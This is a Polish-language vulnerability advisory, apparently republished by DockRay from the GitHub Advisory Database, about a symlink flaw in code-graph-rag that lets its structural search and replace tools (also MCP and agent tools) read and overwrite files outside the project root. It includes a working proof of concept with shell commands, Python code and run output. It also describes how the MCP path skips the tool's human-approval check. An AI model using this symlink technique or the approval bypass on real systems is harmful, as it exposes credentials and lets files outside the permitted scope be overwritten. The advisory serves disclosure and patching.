Wysoka

Narzędzia strukturalne Code Graph RAG podążają za dowiązaniami symbolicznymi poza katalog główny

  • Ujawniono: 09.11.2026
  • Aktualizacja: 11.11.2026 10:00

Zdalny lub lokalny atakujący, który może umieścić dowiązanie symboliczne w repozytorium kodu źródłowego analizowanym przez code-graph-rag, może spowodować, że narzędzia structural_search oraz structural_replace (oparte na AstGrepService, udostępniane zarówno jako narzędzia MCP, jak i narzędzia agentów AI) odczytają oraz — poprzez structural_replace z parametrem dry_run=False — nadpiszą dowolne pliki poza skonfigurowanym katalogiem głównym projektu. Wynika to z faktu, że weryfikacja przynależności ścieżki do katalogu bazowego (should_skip_path/_classify_file) jest przeprowadzana leksykalnie na nierozwiązanej ścieżce i nigdy nie sprawdza Path.is_symlink() ani nie wywołuje .resolve(), w przeciwieństwie do poprawnego dekoratora validate_project_path używanego w innych częściach projektu.

Podatność przetestowano na commicie 90a3ed3cbdc7d3bb8036985b851cc7c9a3ba9c57 (wersja pyproject 0.0.550), który był aktualnym main w momencie testów. Potwierdzono, że commit ten zawiera już poprawkę poprzedniego zgłoszenia (GHSA-vvr2-h2jp-838m: stronicowane przechodzenie przez ścieżki w read_file) oraz nowszą bramkę uwierzytelniania tokenem bearer w HTTP-MCP (_validate_http_exposure w codebase_rag/mcp/server.py) — jest to odrębny, nadal otwarty problem niezależny od tych poprawek, w innym komponencie, z inną przyczyną źródłową i poważniejszymi skutkami (zapis, a nie tylko odczyt).

Szczegóły

AstGrepService (codebase_rag/tools/ast_grep_service.py) stanowi podstawę zarówno dla narzędzi MCP/agentowych structural_search, jak i structural_replace. Wylicza pasujące pliki za pomocą os.walk() i weryfikuje każdą ścieżkę wyłącznie przez should_skip_path():

  • codebase_rag/tools/ast_grep_service.py:84-109 (_iter_source_files) — przeszukuje self.project_root za pomocą os.walk(); każdy zwrócony wpis niebędący katalogiem (w tym dowiązanie symboliczne wskazujące dowolne miejsce na dysku) jest traktowany jako plik objęty zakresem.
  • codebase_rag/tools/ast_grep_service.py:61-82 (_classify_file) — jedynym sprawdzeniem ograniczenia ścieżki jest should_skip_path(...), a następnie abs_path.relative_to(self.project_root) (linia 82); ścieżka abs_path nigdy nie jest rozwiązywana, więc sprawdzenie to ma charakter czysto leksykalny/napisowy.
  • codebase_rag/utils/path_utils.py:80-109 (should_skip_path) oraz codebase_rag/utils/path_utils.py:35-37 (cached_relative_path) — oblicza rel_path = file_path.relative_to(repo_path) bez wywoływania .resolve() ani Path.is_symlink().
  • Ujście odczytu (read sink): codebase_rag/tools/ast_grep_service.py:143-144 (search) — source = self._read(abs_path) wywołuje path.read_text(), które w Pythonie podąża za dowiązaniem symbolicznym do jego rzeczywistego celu.
  • Ujście zapisu (write sink): codebase_rag/tools/ast_grep_service.py:187-208 (replace), linia 208 — abs_path.write_text(new_source, ...), gdy dry_run=False, ponownie podążając za dowiązaniem symbolicznym i nadpisując zawartość docelowego pliku.

Jest to niespójne ze sposobem obsługi tej samej klasy ryzyka w pozostałej części bazy kodu. Narzędzia do odczytu/zapisu/edycji plików (file_reader.py, file_writer.py, file_editor.py) są chronione przez validate_project_path (codebase_rag/decorators.py:73-75):

python
full_path = (self.project_root / file_path_str).resolve()
project_root = self.project_root.resolve()
full_path.relative_to(project_root)

.resolve() podąża za dowiązaniami symbolicznymi przed uruchomieniem weryfikacji ograniczenia katalogu, dzięki czemu narzędzia te prawidłowo odrzucają cele spoza katalogu głównego. Funkcja absolute_path_within_project_root() (codebase_rag/utils/path_utils.py:156-176) z path_utils.py dokumentuje tę samą zasadę wprost w swoim docstringu: "The resolve() calls are load-bearing: containment is checked lexically, so an unresolved .. segment or symlink would escape the root." — jednak should_skip_path()/AstGrepService nie stosuje tego wzorca.

Osiągalność: structural_search (codebase_rag/tools/structural_search.py:24-46) nie posiada żadnej flagi requires_approval — w trybie orkiestratora AI model może wywołać go autonomicznie bez potwierdzenia ze strony człowieka. structural_replace (codebase_rag/tools/structural_editor.py:52-57) jest oznaczony jako requires_approval=True, lecz flaga ta jest egzekwowana wyłącznie przez pętlę agenta pydantic-ai — ścieżka serwera MCP całkowicie ją omija: MCPToolsRegistry.structural_replace (codebase_rag/mcp/tools.py:586-596) wywołuje bezpośrednio self._structural_editor_tool.function(...), zarejestrowane bez żadnej koncepcji zatwierdzania w codebase_rag/mcp/tools.py:369-388. Dowolny klient MCP uprawniony do wywoływania narzędzi może uruchomić structural_replace wraz z dry_run=False w pojedynczym wywołaniu.

Proof of Concept

Potwierdzono dynamicznie na zainstalowanym pakiecie (mgclient/pymgclient zamockowane, podobnie jak w PoC poprzedniego zgłoszenia, ponieważ natywny klient Memgraph nie jest wymagany dla tej ścieżki kodu).

bash
mkdir -p /tmp/poc_symlink/safe-project-root
cat > /tmp/poc_symlink/outside-secret.py << 'EOF'
API_TOKEN = "sk-live-EXAMPLE-NOT-A-REAL-SECRET-1234567890"
def get_token():
    return API_TOKEN
EOF
ln -s /tmp/poc_symlink/outside-secret.py /tmp/poc_symlink/safe-project-root/linked_module.py
python
import sys
from pathlib import Path
from unittest.mock import MagicMock
sys.modules["mgclient"] = MagicMock()
sys.modules["pymgclient"] = MagicMock()
from codebase_rag.tools.ast_grep_service import AstGrepService

SAFE_ROOT = "/tmp/poc_symlink/safe-project-root"
svc = AstGrepService(project_root=SAFE_ROOT)

matches = svc.search(pattern="API_TOKEN", language="python")
# -> match in reported file='linked_module.py' text='API_TOKEN'  (read escape)

changes = svc.replace(pattern="API_TOKEN", rewrite="PWNED_BY_STRUCTURAL_REPLACE",
                       language="python", dry_run=False)
print(Path("/tmp/poc_symlink/outside-secret.py").read_text())

Rzeczywisty wynik uruchomienia:

python
[*] Calling AstGrepService.search('API_TOKEN', language='python') ...
    match in reported file='linked_module.py' text='API_TOKEN'
    match in reported file='linked_module.py' text='API_TOKEN'
[+] READ ESCAPE CONFIRMED: content of the out-of-root file was returned by
    structural_search(), attributed to a path 'inside' the project root.

[*] Calling AstGrepService.replace(pattern='API_TOKEN',
    rewrite='PWNED_BY_STRUCTURAL_REPLACE', dry_run=False) ...
    wrote change to reported file='linked_module.py' matches=2

[*] Outside file content AFTER structural_replace:
------------------------------------------------------------
# Simulated sensitive file OUTSIDE the analyzed project root
PWNED_BY_STRUCTURAL_REPLACE = "sk-live-EXAMPLE-NOT-A-REAL-SECRET-1234567890"

def get_token():
    return PWNED_BY_STRUCTURAL_REPLACE
------------------------------------------------------------
[+] WRITE ESCAPE CONFIRMED: a file OUTSIDE the configured project_root
    (/tmp/poc_symlink/safe-project-root) was modified by structural_replace
    via a symlink placed inside the root.

Wpływ

Każdy operator, który uruchomi cgr (wiersz poleceń CLI, tryb agentowy ask_agent lub narzędzia MCP structural_search/structural_replace) na repozytorium, które nie zostało w pełni zaudytowane — czyli w scenariuszu, do którego narzędzie zostało zaprojektowane ("query, understand, and edit multi-language codebases") — naraża się na wykorzystanie umieszczonego dowiązania symbolicznego do:

  • Ujawnienia zawartości dowolnego pliku czytelnego dla procesu cgr (dane uwierzytelniające, klucze SSH, pliki .env, kod źródłowy sąsiednich projektów) za pośrednictwem structural_search, bez żadnej bramki zatwierdzania.
  • Nadpisania zawartości dowolnego pliku zapisywalnego dla procesu cgr za pośrednictwem structural_replace(dry_run=False), z pominięciem własnego mechanizmu zatwierdzania narzędzia przy wywołaniu przez protokół MCP.

Podziękowania: Dostxodjayev Abdullox (GitHub: squeeze440)

Co trzeba zrobić

Zastosuj ten sam wzorzec sprawdzania (resolve-then-contain), który jest już używany przez validate_project_path (codebase_rag/decorators.py:73-75) oraz absolute_path_within_project_root (codebase_rag/utils/path_utils.py:156-176), w should_skip_path. Odrzucaj każdą ścieżkę, której rozwiązana lokalizacja (po przejściu dowiązań symbolicznych) wykracza poza rozwiązany katalog główny projektu:

diff
--- a/codebase_rag/utils/path_utils.py
+++ b/codebase_rag/utils/path_utils.py
@@ def should_skip_path(
     _is_file = path.is_file() if is_file is None else is_file
     if _is_file and path.suffix in cs.IGNORE_SUFFIXES:
         return True
+    # Reject symlinks (or any path) that resolve outside the project root,
+    # mirroring validate_project_path's decorator (decorators.py:73-75) and
+    # absolute_path_within_project_root (this module, below).
+    try:
+        path.resolve().relative_to(repo_path.resolve())
+    except ValueError:
+        return True
     rel_path = cached_relative_path(path, repo_path)

W praktyce ta pojedyncza zmiana w should_skip_path naprawia zarówno _classify_file (wyszukiwanie), jak i filtrowanie os.walk w _iter_source_files (zastępowanie), ponieważ oba komponenty przez nią przechodzą. W ramach obrony w głąb (defense in depth), _iter_source_files może dodatkowo całkowicie pomijać wpisy katalogowe będące dowiązaniami symbolicznymi (entry.is_symlink()) podczas os.walk.

Zaleca się aktualizację do wersji 0.0.587 lub nowszej.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Python (PyPI) code-graph-rag < 0.0.587 0.0.587

Odnośniki

Ocena CVSS 7.1/10
Wektor CVSS
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
Słabość (CWE)
CWE-22, CWE-59
Platforma
Python (PyPI)
Paczka
code-graph-rag
Ujawniono
09.11.2026
Aktualizacja
11.11.2026 10:00

Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.

OSV / GitHub Advisory Database - GHSA-85gg-2gfq-q95m - CC BY 4.0

Historia podatności: code-graph-rag

Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkich wpisów
2
Pierwsza → ostatnia
11.2026 11.2026
Bez poprawki
0
Wykorzystywana w atakach
0

Rozkład istotności

  • Wysoka 2

Ujawnienia w latach

  1. 2026: 2
  1. Narzędzia strukturalne Code Graph RAG podążają za dowiązaniami symbolicznymi poza katalog główny ten wpis
    Wysoka · 7.1 CVE-2026-87008 < 0.0.587 0.0.587

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.